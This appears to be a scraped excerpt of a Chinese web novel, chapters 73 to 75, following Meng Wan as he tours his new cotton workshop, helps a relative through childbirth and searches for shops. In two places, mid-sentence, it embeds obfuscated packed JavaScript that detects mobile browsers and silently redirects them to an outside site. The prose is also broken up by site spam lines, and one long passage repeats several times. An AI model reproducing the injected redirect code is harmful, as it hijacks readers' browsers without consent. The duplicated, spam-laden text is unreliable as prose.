孟晚笑了笑,路过堂屋时,从墙壁上摘下一幅《逐禄图》来,又从架子上抽出一本书一并递给顾枳茹,“画是送你的,书是借你的,走吧,我送你出门。” 来了宋家一趟,顾枳茹称得上是满载而归,画和书不说,孟晚思及小姑娘在他家待了半天,连一口茶水也没喝上,正好岭南送过来的罐头前阵子到了,孟晚便给顾枳茹装上一竹篮,里面放了八瓶罐头,荔枝、橘子、菠萝都有。 你的朋友正在书荒,快去帮帮他吧 果珍罐的价格没有前几年那么夸张,但仍是稀罕物,寻常人家轻易见不着。 顾枳茹跟着孟晚往院外走去。日头斜照,影子拉得细长,她忽然觉得,今日所得,远不止一幅画、一篮果子那么简单。 顾枳茹回家先去拜见祖母,顾老夫人明显能感知到孙女的情绪变化了,起码不是曾经前几日那样颓废。 “这个孟夫郎,倒是不负盛名,是个玲珑人。 顾夫人刚送女儿回来,身边的丫鬟提着提篮,顾枳茹只为自己留了一瓶菠萝罐头,剩下的都孝敬给了母亲和祖母,“母亲,这是茹娘孝敬给您的,说是孟夫郎所赠。 “茹娘有心了,我这老婆子什么没吃过,留下一瓶来,剩下的都给孩子们分了吧。 顾老夫人欣慰孙女孝顺,又不免为她难过,腕上的檀香手串取下来被拿在手里捻着,顾老夫人口中说道:“委屈这孩子了,可皇后娘娘给咱们递的台阶,再不下就是咱们顾家不识抬举。 顾家的婆媳都是文流清贵出身,特别是顾老夫人,她父亲生前乃是华盖殿大学士,当时内阁权力鼎盛,顾老夫人还几次入宫面圣,见识非凡。顾家拿不定主意的大事,都会到她跟前请教一番。 顾夫人为婆母打开一瓶荔枝罐头,“好在孟夫郎行事并不鲁莽,茹娘竟也真的愿意和他出去。 她们心中都有数,秦家是皇后母家,忠毅侯父子权势滔天,她们顾家是开罪不起的,只是顾大学士身上肩负着文人盛名,这是一柄双刃剑,有时难免会被其所累、受其摆布。 之后几日顾枳茹在家赏画看书,孟晚又叫人送帖子邀请了她几次,一来二去,两人总算是熟悉了一些。 “今天不带你看画了,咱们去作画好了。孟晚披上斗篷,招呼枝繁给他拿上画具,不忘给顾枳茹也准备一套。 顾枳茹微微错愕,“作画?去外面? “不错,去不去?孟晚前几天还端着长辈的架子,如今就懒得装了。 顾枳茹见他连斗篷都披上了,眼见着就要出门,也不像是容她拒绝的样子,她要是不去,孟晚自己也是要去的。 “去。 马车行驶到兰翠街,这条街距离宋家不算远,三重城的位置。 天气寒冷,街道上的铺面都有些冷清,摊贩也少。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 顾枳茹掀开窗帘一角,只见街尾有条巷子倒是热闹,许多人进进出出,从巷子里头往外面拉些木料石料,还有车在从外向里拉些造型怪异的木头家具。 “蚩羽,你去问问还有多久把里面清完。”孟晚在马车里吩咐。 赶车的依旧是蚩羽,他跳下车辕小跑着往巷子里去,没一会儿就回来了,“夫郎,还有两刻钟就差不多了,多余的料子就这么一车,还有几样家具明日后日才能送全。” “知道了。”孟晚得了消息扭头对顾枳茹说:“辛苦茹娘再陪我等一会儿。” 顾枳茹难得升起一点好奇心,“孟夫郎,这巷子里头是什么地方?” 孟晚打趣道:“我怕我说了,你就不敢随我进去了。” 他这么一说顾枳茹就更好奇了,“有孟夫郎陪着,茹娘有什么好怕的?” 话是这么说,孟晚眼见着她手指紧攥着帕子,怕是有什么不好的猜测,便没继续逗她,“上上任顺天府尹,罪臣边家的旧宅便在里面。” “啊?是那座凶宅?”顾枳茹说完突然捂住了嘴巴,差点忘了,当时盛京城里传得沸沸扬扬,现任顺天府尹宋大人夫郎买下了边大人旧宅,搬家头一天就出了事,买宅子的可不就是孟晚吗? “茹娘可愿随我进去看看?”他们说话的工夫里面的工匠和运货的工人已经都撤了出来。 顾枳茹家信奉孔孟之道,自然不信那些怪力乱神,虽说心中还有些忐忑,但好奇心还是占据了上风。她点了点头,让青萝扶着下了马车,好在这次车上备了矮凳,没让她如上次一般丢脸。 边家旧宅所在的这条巷子与街道同名,叫兰翠巷。如今大宅门口竖着一块石碑,还是和义学同款的,只不过京城有钱什么都能买到,连石碑也更大了一圈。 上面是石匠雕刻出来四个大字——石见棉坊,这四个字笔锋遒劲,字体沉稳又内敛,孟晚一看便知是谁的笔迹。 “这是大人写的?”孟晚问了守门的奴仆一句。 那仆人是个六十来岁的老者,手指粗糙,脸上的皮肤也干裂,是沐泉庄上的老鳏夫,无儿无女无妻,庄头榆哥儿可怜他,听说棉坊这里缺个看门的,便向桂谦推荐了人来。 老仆穿着崭新的棉衣、棉鞋,诚惶诚恐地说:“是……是,大人早起过来写……写的,写完了之后石匠……石匠又按着印子雕琢。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 他磕磕绊绊地说,孟晚也耐心地听完,招呼顾枳茹进门的时候还小声嘟囔了一句。 “怎么也没跟我说一声。” 顾枳茹知道他们说的大人便是宋亭舟,也是孟晚的夫君。 她侧头望去,只见孟晚嘴角不自觉地扬起,眼眸中也中漾起一丝柔润的笑意。 那是因为被所爱之人惦念,所以显而易见的心情愉悦。 顾枳茹轻叹。 五进的院子极为宽敞,曾经花圃、假山、楼亭水榭应有尽有,如今却只剩下光秃秃的一片,除了每一进院子中的住房都保存下来外,整座宅子已经被搬空了。 顾枳茹一脚踏进院里平坦的水泥地上,惊讶道:“这是什么石头?竟没有一点缝隙?” 孟晚看着她新奇的样子,颇为自得,“这是岭南的地。” “岭南的地方?那是什么意思?”和孟晚相交,让向来自傲的顾枳茹觉得自己仿佛是没见过世面的土包子。 “便是岭南那边研制出来的铺路法子,能聚砖石为一体,无隙可乘。” 孟晚带她往里走,兰翠巷这头的事都是桂谦盯着办的,他也没来过几次,如今所有的院子都铺设上水泥,每座院子边缘挖了一圈排水渠, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740710|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很窄,但也够用了。 一进院是整个棉厂的搬运区和马车停放区,倒座房的一排房屋本来窗户和门都是朝北的,如今改成门朝北,窗户朝南开,往后可以作为零售售卖区域。 二进院是会客中堂,也叫前院,这里主要是作为暂时存放棉花的库房,和会客、开会的用途。 正院的三进院,是整座宅子最大的院子,里头连养鱼的池子都被填平了,专门用作晒晾区。院子里一排排的木制晾架,边上还有一筐筐的压石。 四进的后院做仓库,五进是员工宿舍与厨房,石见棉坊中,也只有五进院和门房允许生火。 孟晚将整个石见棉坊逛了一遍,走走停停,竟然也走了两个一个多时辰。 顾枳茹这会儿什么心思也没有了,就只有一个感觉——累。 等孟晚终于带她坐回到会客厅,顾枳茹再也顾不得大家闺秀的体面,实实在在地一屁股坐到椅子上起不来了。 “您是要办棉坊吗?”顾枳茹喝了一口黄叶从门房要来的热水后问。 孟晚:“对,办棉坊。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 会客厅旁边就是会议室,里面有一张一丈三尺长的桌子。孟晚提着画具进去,将笔墨纸砚都摆好,提醒了顾枳茹一声,“我要开始作画了,你玩玩也好,画画也好,都随心来。” 顾枳茹还没歇过劲儿,便安静地坐在一旁,盯着孟晚那块白玉兔子的镇纸发呆。 孟夫郎好厉害,旁的官员夫人也就置办置办庄子铺面,他怎么说要办工坊就真的开始准备了呢? 看样子还是早就开始准备的。 他人长得漂亮,脑子又聪明,找得夫君又好,怎么天底下的好事都能叫他遇上? 我却这么倒霉…… 想着想着顾枳茹突然脸红,甚至有些震惊。 我……我怎么这样想,岂不是在嫉妒人家?偏生嫉妒偏艰窘,暗积私房暗折磨,万万不可暗中这般胡思乱想。 她面上无动于衷,实际紧张的手指都纠结在了一起,一侧眼,孟晚已经自己给自己磨好了墨汁,准备要动笔了。 顾枳茹还没见过孟晚画画,这会儿不自觉地抬首,目不转睛地看了起来。 孟晚画的果然是这座刚刚成型的石见棉坊,顾枳茹还是头一次看丹青圣手在她眼前作画,只觉得有什么是不一样的,和普通画师不同,与她自己画画也不同,她形容不上来那种感觉,只是仿若孟晚不是在用笔墨描绘这座棉坊,而是在真真切切地自己用一块块砖石搭建棉坊。 孟晚撂笔的时候桌上点着四五根蜡烛,外面天色漆黑,冷风阵阵吹动窗框。 “坏了,可将茹娘送回顾家了?” 黄叶的声音在会客厅那边传来,“夫郎放心,蚩羽早就给人送回去了。” “冷不冷?”孟晚身后忽而贴上了一个人,温热的手炉被塞到孟晚怀里。 孟晚掌心冰凉,他回头见宋亭舟就站在自己身后,问道:“你是回了家又回来了?” 宋亭舟将桌上的蜡烛熄灭,点燃了自己手里的提灯,“不是,下了衙听说你在兰翠巷,便过来接你,走吧,回家。” 孟晚站起来,下一瞬差点又跌坐回椅子上。 宋亭舟忙扶起他,“怎么了?腿麻了?” 孟晚苦笑着摸了摸自己的小腿,“不光腿麻,脚也麻。” 棉坊里没有地龙,屋里只生了一盆炭火,孟晚坐了半天没动,眼下腿脚又麻又冷的,滋味真是绝了。 宋亭舟把提灯递给他,“拿着。” 孟晚接过提灯,“干嘛?” “背你出去。”宋亭舟背对着他蹲下身子,宽厚的脊背在昏黄的提灯光晕下显得格外可靠。 孟晚眉眼带笑,“好啊。” 他伏在那温热的背上,双臂环住宋亭舟脖颈,鼻尖萦绕的是宋亭舟身上淡淡的皂角清香,混合着一丝若有若无的墨香。 宋亭舟的手臂稳稳托住他的膝弯,起身时动作轻柔,脚步稳健。 孟晚将脸埋在宋亭舟的肩窝,感受着他沉稳的心跳和均匀的呼吸,夜色中,两人的身影被拉得很长,提灯的光晕在青石板路上缓缓移动,将“石见棉坊”的石碑渐渐抛在身后。 第74章 阻挠 今天为了在小姑娘面前显露一手,孟晚白日走得多了,又大半天没吃饭,回到家连着添了三次饭,洗漱后瘫在床上被宋亭舟揉着肚子,感叹冬天果然是长肉的季节。 夜半时分,夫夫俩睡得正香,外头枝繁敲击房门。 “大人、夫郎快醒醒!吴大人家的秋影来了,说是郑夫郎要生了!” “要生了!” 孟晚一下子从香甜的睡梦中惊醒,整个人从床上半坐起来。 宋亭舟已经翻身下床,“别急,我先拿着腰牌去太医院请太医,夜里风大,你穿厚一些。” 太医院离建在宫外,恰好离翰林院不远,吴昭远和郑淑慎家就在翰林院附近。他们早就和吴昭远商量好了,不管生产情况如何,必得请个太医过来坐镇,如此大家才能安心。 一般官员请太医要先拟折子,宋亭舟地位特殊,又深受皇上看重,太医院的人不敢拿乔,他亲自去请,能将人叫来。 孟晚这会儿还困得要死,脑子却异常清醒,宋亭舟穿上衣裳出去后,枝繁枝茂忙进来给孟晚拿厚衣裳、车上用的暖炉、毛毯等物。 夜里的寒风无孔不入,冷得往人骨头缝子里钻,孟晚拢紧斗篷毛茸茸的领子,边快步往外走,边问道:“马车备好了没?你俩和黄叶都跟着我过去。” 人多安心,吴家得用的仆人比他们家还少,他多带些人过去帮衬,免得该用人了找不到。 枝茂抱着毛毯答:“都准备好了,黄管事已经在车上候着了。” 孟晚上了车,睡眼惺忪的蚩羽便扬了鞭子。 黄叶拎了热茶上来给孟晚醒神,“夫郎,喝杯茶水暖暖吧。” 孟晚接过来喝了一口,暖流从喉管滑进肚子,“还有没有杯子,给蚩羽也倒一杯,他在外面赶车冷。” “有,我带了好几个。”黄叶从木匣子里又抽出几个杯子来,是寻常的竹筒杯,放在马车上不怕打碎了。 黄叶几个和蚩羽都喝了热茶,只是车里没来得及带炭盆,茶水一会儿就凉了。 外面漆黑一片,马车车厢上挂着的那两盏提灯也只能照亮脚下的路,孟晚把毯子也均给蚩羽一个,再不怕冷,这样的夜里没有车厢遮挡也会冻坏。 秋影报了信就走了,应该是先来宋家报的信,然后又去了郑家。 孟晚虽然着急, 但大半夜的也不敢催促蚩羽,路边实在太黑了,过巷子路口的还要仔细辨别,也就是蚩羽习武,耳聪目明,一般人早就将马车驾到人家铺子门口去了。 一路还算平顺,吴家大门挂着灯笼,大门敞开,守门的小厮见孟晚过来,忙将人迎了进去。 宅子里头也四处挂着灯笼,虽然称不上灯火通明,但也比漆黑的大街上亮堂。 孟晚脚步急促地小跑至后院的正房,这里暂且被吴家人充当产房,本来应该是给婆母住的地方,因为吴昭远娘亲早逝,便无人居住,和正院的卧房大小相当,充作产房正好。 “晚哥儿,你来了,快进去看看你大嫂。”吴昭远守在产房门口坐立难安,他语速略快,整个人都显得焦躁难安。 孟晚丢下一句,“我夫君已经去请太医了,想必马上就到,大哥你稳住别急,我这就进去看看!” 枝繁、枝茂、蚩羽三人都守在门外,有多年带娃经验的黄叶随孟晚进了屋子。 产房的窗户又用棉布给封了一层,几道门也都挂着厚厚的帘子,里头拉住的油灯都点着,恍如白昼。矮几小凳上的炭盆一盆又一盆,热得孟晚进去就脱了外罩的斗篷。 侍书和产婆在扶着郑淑慎在地上走动,一时半会还生不了。 “晚哥儿,大半夜的惊扰到你了,可我自己太没底气。”郑淑慎精神还好,只是语气略有些不安。 “说什么惊扰不惊扰的,大嫂你莫怕,这么多人陪着呢。”孟晚上前安抚两句,吩咐黄叶将炭盆去掉两盆,剩下的也都往边上挪挪,免得一会儿人多慌乱,再给碰掉了。 宋亭舟留在前院,请来的太医和郑淑慎的娘亲一块过来,孟晚出去和宋亭舟打了个照面,回来顺便告知郑淑慎的情况,让吴昭远放心一些,但是没什么效果。 “王太医,劳您进去给我大嫂把把脉。”郑淑慎久无动静,虽说稳婆说无事,孟晚还是不大放心。 太医院的太医们,起码有大半都给宫里的娘娘们把过孕脉,经验丰富,王太医闻言提着药箱就要进去。 “不成!”郑老夫**惊,忙上前阻止。 “哥儿生产,外男怎可入内?” 孟晚险些气笑了,“王太医是医术高强的郎中,他是进去给大嫂把脉的,侍书和稳婆都在产房里,外间又有屏风隔挡,怎么不行?” “产房是血污之 地,外男进去岂不是违背伦理纲常?再说了,产婆也说了没事,何必非要太医诊这么个脉?”郑老夫人自有一番说辞。 孟晚根本不听她的,生产是生死大关,稳婆确实接生经验丰富,一般人家除了生命垂危是不叫外男进产房的,但稳婆不懂病理知识,若是无事就顺利接生,胎位不正也可助产;医者却能直接判断母体状态,这能一样吗? 孟晚凡事都爱提前做准备,真等里面产婆说不行了,再让郎中进去,狗屁都晚了。 “岳母大人,还请你去正院坐坐,等慎哥儿这里有了消息,小婿再派人去请您。” 吴昭远一向情绪寡淡,这会儿却呼吸都乱了,说话也不大客气,说完这句话他亲自将王太医请到产房,自己也跟了进去。 郑老夫人难以置信地看着他的背影,儿婿这是在撵她? 来不及伤心,又看见吴昭远踏进产房,更是心急不已,“昭远!你怎么能进去!”大冷的天在院里,她却硬生生激出一层薄汗,可见是真的怒急攻心,这一手突破了她以往几十年的“规矩”。 但是没人理她,郑老夫人想追进去劝,被秋色给拦住了,“老夫人,咱们还是去前头休息吧,等有了信儿,小的立即就去前头通知你。” 郑老夫人恼怒地捏着帕子指向孟晚,“我是慎哥儿亲娘,难不成还会害他不成?今日之事若是传了出去,叫旁人知道慎哥儿待产之时太医和昭远进了产房,旁人会怎么议论他?流言蜚语非逼死他不可啊!” 孟晚讽刺地笑了,“禹国律法共四百六十例,没有哪条是说郎中和自家男人不得进产房的,别人愿意是因为嘴巴长到人家身上,因为别人说几句就被逼死的人,不是被话语逼死的,是被丧气的家人给逼死的。” 郑老夫人气得手都在哆嗦,“你……你怎可对长辈这样说话!” 毕竟是郑淑慎的亲娘,孟晚怕真把人气出个好歹,干脆也进了产房。 太医隔着纱帘给郑淑慎把脉,面色还算平稳,说出的话却有点吓人,“胎滞不下,脉象沉涩、细弱无力,……不能再拖了,要服药催产。” 吴昭远方寸大乱,孟晚见他关键时刻吓得唇色泛白,干脆让他陪太医出去,又叫黄叶去煎药,他和侍书陪着郑淑慎。 这会儿孟晚不忘过问稳婆的意见,“李婆婆,依你看我大嫂这胎是怎么回事?” 李婆婆接生多年 ,也不是头回见亲属着急惦记了,但夫家进产房来,也是头一份,知道人家重视,说话也跟着谨慎,“郑夫郎算日子可该生了,我本来琢磨明早能出来,但郎中说要催,那许是孩子在里头尿了或拉了,这样确实要快些生,不然要憋坏了。” 一碗催产药灌下去见了效,屋内开始传来哀痛声,孟晚在里面寸步不离,黄叶稳妥极了,忙前忙后地指使几个小侍伺候。 后半夜,笃——笃笃笃,四声一慢三块敲击梆子的声音穿透院墙,打更声结束后,一道微弱的哭声在产房内响起。 吴昭远人都麻了,他呆呆地站在房门外,热泪滚出眼眶,才惊觉自己哭了出来,四下没人管他,他抹了把眼泪又想笑两声,却又笑不出来。 “恭喜老爷!恭喜吴老爷,贵夫郎给您添丁啦!”稳婆眉开眼笑地抱着在襁褓中的孩子出来,声音洪亮。 结果走到门口被孟晚给拽住了,“大哥,你过来门口看,天太冷了,再把孩子冻到。” 吴昭远如梦初醒,忙凑上前去看那襁褓中的小小一团,“这……这是孩子?” 忙活了一晚上的小侍们都笑了,孟晚见他好像还没清醒似的,无奈道:“不是孩子是啥?你看,多像你啊。” 赏钱早就准备好了,吴昭远给了赏钱之后,孟晚送产婆和太医出去,又各自递了厚厚两封红封,“昨夜多谢两位辛苦,我等感激不尽,我大哥大嫂夫夫恩爱,让两位笑话了。” 稳婆偷偷捏开红封一角,见里面是张五十两的银票,倒吸了一口凉气,看孟晚的双眼都在冒光,“哎哟,孟夫郎着实客气,都是咱们应该的,您府上要是再添喜事,尽管找老婆子。” 太医更精明几分,拱手抱拳,“孟夫郎放心,吴大人夫郎顺利生产是好事,下官不会乱说。” 稳婆被吴家的马车送走,太医被宋家的马车送出去,临下车,还被送了两瓶罐头。这东西宋家多的是,经常被孟晚拿出来送礼。 早上吴昭远休了假,孟晚一直陪到卯时才要告辞离开。 当着亲娘的面,郑淑慎虚弱地说:“晚哥儿,昨天夜里你们在外面说的话,我都听见了,你救了这孩子一命,我和昭远都记得你这份恩情。” 侍书是郑淑慎的心腹,这会儿也顾不得郑老夫人难看的脸色,附和道:“就是呢,小的亲眼见到,小公子的胎衣颜色都泛紫了!” 孟晚见 郑淑慎眼睛连看都不往郑老夫人处看上一眼,心中明白母子二人怕是生了嫌隙,他也不是故意挑拨,只是郑老夫人行事实在迂腐愚蠢。 “都是王太医的功劳,我也就是过来陪陪你罢了。” 他说完也不多留,到前院去找宋亭舟。如今天还没亮,宋亭舟回家洗漱一番换了衣裳又要上早朝。 “休假一日还不成吗?”虽然他在吴家客房小睡了片刻,但估计也没睡踏实,孟晚心疼他本就没怎么睡觉,还要天不亮就去上朝。 宋亭舟亲了亲他微潮的发顶,“朝中官员空缺不少,人手不足,陛下重用我,半刻也不得闲,等午后我早些回来补眠,无碍的。” 他也不让孟晚送他,将人按进被窝里,披上大氅便大步出了房门。 枝繁蹑手蹑脚地进来,拿着自己铺盖铺到外间的矮榻上,枝茂他们都回房补觉去了,他在外间,孟晚渴了饿了省得找不到人。 “枝繁,你睡炕上去,矮榻上冷。” 里间传来孟晚困倦的声音,枝繁应了一声,里面孟晚翻了个身睡熟了。 他这一觉睡到晌午,用膳的时候听人说顾二姑娘上门来还书,知道孟晚还没起,就走了,说是过几天再来。 吴家人报喜,和孟晚亲近的方锦容也收到了消息,他人随性惯了,也想不起来给婴孩添礼,还是孟晚给他准备了一份,让他满月宴的时候带着去吴家。 越是年底孟晚越忙,幸好岭南那一摊子都是年后才将账本送上来,不然孟晚更是要忙到头大。 石见棉坊陆续开始招工,但是不大顺利,大部分人都觉得只招收女娘和小哥儿的条件是个骗子,打着棉坊的名头,不见得是干什么见不得人的勾当,就是有人意动,也会被家人劝阻。 盛京到底不是岭南,当时的岭南别无他法,为了能吃饱饭都能豁得出去,盛京就不一样了,规矩高于一切,礼教大过天。 孟晚没办法,只能先从沐泉庄招了一批女娘和小哥儿,又给西梧府唐妗霜与碧云写信,让她们从松韵学院里帮忙招收工人。 昌平府内几座义学孟晚也写了信,他的棉坊条件待遇都是极好的,也就是前期缺人手想在附近招,往后他名下的产业都是要优先松韵学院和义学的,寻常人再想来,他还不要呢。 年关将至,聂知遥和乐正崎也要回来了,孟晚思及大冷的天他们还带着孩子,便抽空去了他们家一趟。聂知遥家的仆人都认得他,孟晚说话也好使,派人将屋里屋外都洒扫了一遍,被褥晒好,柴火、炭火都给备得足足的,连年货都提前准备出来一份。 年后几天没有屠夫杀猪,北地这边都是年前买好猪肉,大冬天冻在缸里,放不坏的。 郑淑慎眼睛连看都不往郑老夫人处看上一眼,心中明白母子二人怕是生了嫌隙,他也不是故意挑拨,只是郑老夫人行事实在迂腐愚蠢。 “都是王太医的功劳,我也就是过来陪陪你罢了。” 他说完也不多留,到前院去找宋亭舟。如今天还没亮,宋亭舟回家洗漱一番换了衣裳又要上早朝。 “休假一日还不成吗?”虽然他在吴家客房小睡了片刻,但估计也没睡踏实,孟晚心疼他本就没怎么睡觉,还要天不亮就去上朝。 宋亭舟亲了亲他微潮的发顶,“朝中官员空缺不少,人手不足,陛下重用我,半刻也不得闲,等午后我早些回来补眠,无碍的。” 他也不让孟晚送他,将人按进被窝里,披上大氅便大步出了房门。 枝繁蹑手蹑脚地进来,拿着自己铺盖铺到外间的矮榻上,枝茂他们都回房补觉去了,他在外间,孟晚渴了饿了省得找不到人。 “枝繁,你睡炕上去,矮榻上冷。” 里间传来孟晚困倦的声音,枝繁应了一声,里面孟晚翻了个身睡熟了。 他这一觉睡到晌午,用膳的时候听人说顾二姑娘上门来还书,知道孟晚还没起,就走了,说是过几天再来。 吴家人报喜,和孟晚亲近的方锦容也收到了消息, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740711|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他人随性惯了,也想不起来给婴孩添礼,还是孟晚给他准备了一份,让他满月宴的时候带着去吴家。 越是年底孟晚越忙,幸好岭南那一摊子都是年后才将账本送上来,不然孟晚更是要忙到头大。 石见棉坊陆续开始招工,但是不大顺利,大部分人都觉得只招收女娘和小哥儿的条件是个骗子,打着棉坊的名头,不见得是干什么见不得人的勾当,就是有人意动,也会被家人劝阻。 盛京到底不是岭南,当时的岭南别无他法,为了能吃饱饭都能豁得出去,盛京就不一样了,规矩高于一切,礼教大过天。 孟晚没办法,只能先从沐泉庄招了一批女娘和小哥儿,又给西梧府唐妗霜与碧云写信,让她们从松韵学院里帮忙招收工人。 昌平府内几座义学孟晚也写了信,他的棉坊条件待遇都是极好的,也就是前期缺人手想在附近招,往后他名下的产业都是要优先松韵学院和义学的,寻常人再想来,他还不要呢。 年关将至,聂知遥和乐正崎也要回来了,孟晚思及大冷的天他们还带着孩子,便抽空去了他们家一趟。聂知遥家的仆人都认得他,孟晚说话也好使,派人将屋里屋外都洒扫了一遍,被褥晒好,柴火、炭火都给备得足足的,连年货都提前准备出来一份。 年后几天没有屠夫杀猪,北地这边都是年前买好猪肉,大冬天冻在缸里,放不坏的。 郑淑慎眼睛连看都不往郑老夫人处看上一眼,心中明白母子二人怕是生了嫌隙,他也不是故意挑拨,只是郑老夫人行事实在迂腐愚蠢。 “都是王太医的功劳,我也就是过来陪陪你罢了。” 他说完也不多留,到前院去找宋亭舟。如今天还没亮,宋亭舟回家洗漱一番换了衣裳又要上早朝。 “休假一日还不成吗?”虽然他在吴家客房小睡了片刻,但估计也没睡踏实,孟晚心疼他本就没怎么睡觉,还要天不亮就去上朝。 宋亭舟亲了亲他微潮的发顶,“朝中官员空缺不少,人手不足,陛下重用我,半刻也不得闲,等午后我早些回来补眠,无碍的。” 他也不让孟晚送他,将人按进被窝里,披上大氅便大步出了房门。 枝繁蹑手蹑脚地进来,拿着自己铺盖铺到外间的矮榻上,枝茂他们都回房补觉去了,他在外间,孟晚渴了饿了省得找不到人。 “枝繁,你睡炕上去,矮榻上冷。” 里间传来孟晚困倦的声音,枝繁应了一声,里面孟晚翻了个身睡熟了。 他这一觉睡到晌午,用膳的时候听人说顾二姑娘上门来还书,知道孟晚还没起,就走了,说是过几天再来。 吴家人报喜,和孟晚亲近的方锦容也收到了消息,他人随性惯了,也想不起来给婴孩添礼,还是孟晚给他准备了一份,让他满月宴的时候带着去吴家。 越是年底孟晚越忙,幸好岭南那一摊子都是年后才将账本送上来,不然孟晚更是要忙到头大。 石见棉坊陆续开始招工,但是不大顺利,大部分人都觉得只招收女娘和小哥儿的条件是个骗子,打着棉坊的名头,不见得是干什么见不得人的勾当,就是有人意动,也会被家人劝阻。 盛京到底不是岭南,当时的岭南别无他法,为了能吃饱饭都能豁得出去,盛京就不一样了,规矩高于一切,礼教大过天。 孟晚没办法,只能先从沐泉庄招了一批女娘和小哥儿,又给西梧府唐妗霜与碧云写信,让她们从松韵学院里帮忙招收工人。 昌平府内几座义学孟晚也写了信,他的棉坊条件待遇都是极好的,也就是前期缺人手想在附近招,往后他名下的产业都是要优先松韵学院和义学的,寻常人再想来,他还不要呢。 年关将至,聂知遥和乐正崎也要回来了,孟晚思及大冷的天他们还带着孩子,便抽空去了他们家一趟。聂知遥家的仆人都认得他,孟晚说话也好使,派人将屋里屋外都洒扫了一遍,被褥晒好,柴火、炭火都给备得足足的,连年货都提前准备出来一份。 年后几天没有屠夫杀猪,北地这边都是年前买好猪肉,大冬天冻在缸里,放不坏的。 郑淑慎眼睛连看都不往郑老夫人处看上一眼,心中明白母子二人怕是生了嫌隙,他也不是故意挑拨,只是郑老夫人行事实在迂腐愚蠢。 “都是王太医的功劳,我也就是过来陪陪你罢了。” 他说完也不多留,到前院去找宋亭舟。如今天还没亮,宋亭舟回家洗漱一番换了衣裳又要上早朝。 “休假一日还不成吗?”虽然他在吴家客房小睡了片刻,但估计也没睡踏实,孟晚心疼他本就没怎么睡觉,还要天不亮就去上朝。 宋亭舟亲了亲他微潮的发顶,“朝中官员空缺不少,人手不足,陛下重用我,半刻也不得闲,等午后我早些回来补眠,无碍的。” 他也不让孟晚送他,将人按进被窝里,披上大氅便大步出了房门。 枝繁蹑手蹑脚地进来,拿着自己铺盖铺到外间的矮榻上,枝茂他们都回房补觉去了,他在外间,孟晚渴了饿了省得找不到人。 “枝繁,你睡炕上去,矮榻上冷。” 里间传来孟晚困倦的声音,枝繁应了一声,里面孟晚翻了个身睡熟了。 他这一觉睡到晌午,用膳的时候听人说顾二姑娘上门来还书,知道孟晚还没起,就走了,说是过几天再来。 吴家人报喜,和孟晚亲近的方锦容也收到了消息,他人随性惯了,也想不起来给婴孩添礼,还是孟晚给他准备了一份,让他满月宴的时候带着去吴家。 越是年底孟晚越忙,幸好岭南那一摊子都是年后才将账本送上来,不然孟晚更是要忙到头大。 石见棉坊陆续开始招工,但是不大顺利,大部分人都觉得只招收女娘和小哥儿的条件是个骗子,打着棉坊的名头,不见得是干什么见不得人的勾当,就是有人意动,也会被家人劝阻。 盛京到底不是岭南,当时的岭南别无他法,为了能吃饱饭都能豁得出去,盛京就不一样了,规矩高于一切,礼教大过天。 孟晚没办法,只能先从沐泉庄招了一批女娘和小哥儿,又给西梧府唐妗霜与碧云写信,让她们从松韵学院里帮忙招收工人。 昌平府内几座义学孟晚也写了信,他的棉坊条件待遇都是极好的,也就是前期缺人手想在附近招,往后他名下的产业都是要优先松韵学院和义学的,寻常人再想来,他还不要呢。 年关将至,聂知遥和乐正崎也要回来了,孟晚思及大冷的天他们还带着孩子,便抽空去了他们家一趟。聂知遥家的仆人都认得他,孟晚说话也好使,派人将屋里屋外都洒扫了一遍,被褥晒好,柴火、炭火都给备得足足的,连年货都提前准备出来一份。 年后几天没有屠夫杀猪,北地这边都是年前买好猪肉,大冬天冻在缸里,放不坏的。 第75章 止谤莫如自修 “二重城的铺面就这么难找?这么久了才给我找了两个三重城的?” 孟晚从外头看铺子回来,嘴上没好气地问跟回来的牙子。 牙子点头哈腰地说:“哎哟孟夫郎啊!真不是小的不给您找,二重城内的铺子那都是攥在王孙贵戚手里的,人家就是卖那也轮不到小的这儿啊,三重城这两家还是小的千辛万苦、磨破了嘴皮子才给夫郎寻来的。” 人牙子应当没撒谎,孟晚心道难怪高门大户都讲究攒假嫁妆,有的东西真不是有钱就能买到的。 家里要是没钱守在三泉村过日子,也该给儿子儿夫郎置办起家产,再盖间房子娶媳妇,更别提孟晚如今不差钱,楚辞成亲起码给小两口置办几家铺面傍身吧? 楚辞成亲这事一出,孟晚突然就有种成为长辈的真实感了,这婚事本来就仓促,不能委屈了俩孩子吧? 他转念一想,那就只能拿金钱鞭策人牙子了,“我也不为难你,二重城若是能给我寻到两间铺子,我给你分三成利。” 人牙子双目欲裂,“三……三成利!” 人都惊得打鸣了,见过阔的,没见过这么阔的,怎么出手比那些侯爵大人还爽快呢,这银钱在孟夫郎眼里跟水似的四处流。 它……它……它不会漏吗? 孟晚哼笑一声,灰色锦**下的白净脸蛋上,带着常人没有的、富贵又精明的气质,“你也不是头一回和我打交道了,我诓没诓过你,自己心里有数吧?除了二重城,三重城棉坊附近的铺子也给我找找,只要是棉坊附近的,有几家算几家,都给我留着。” 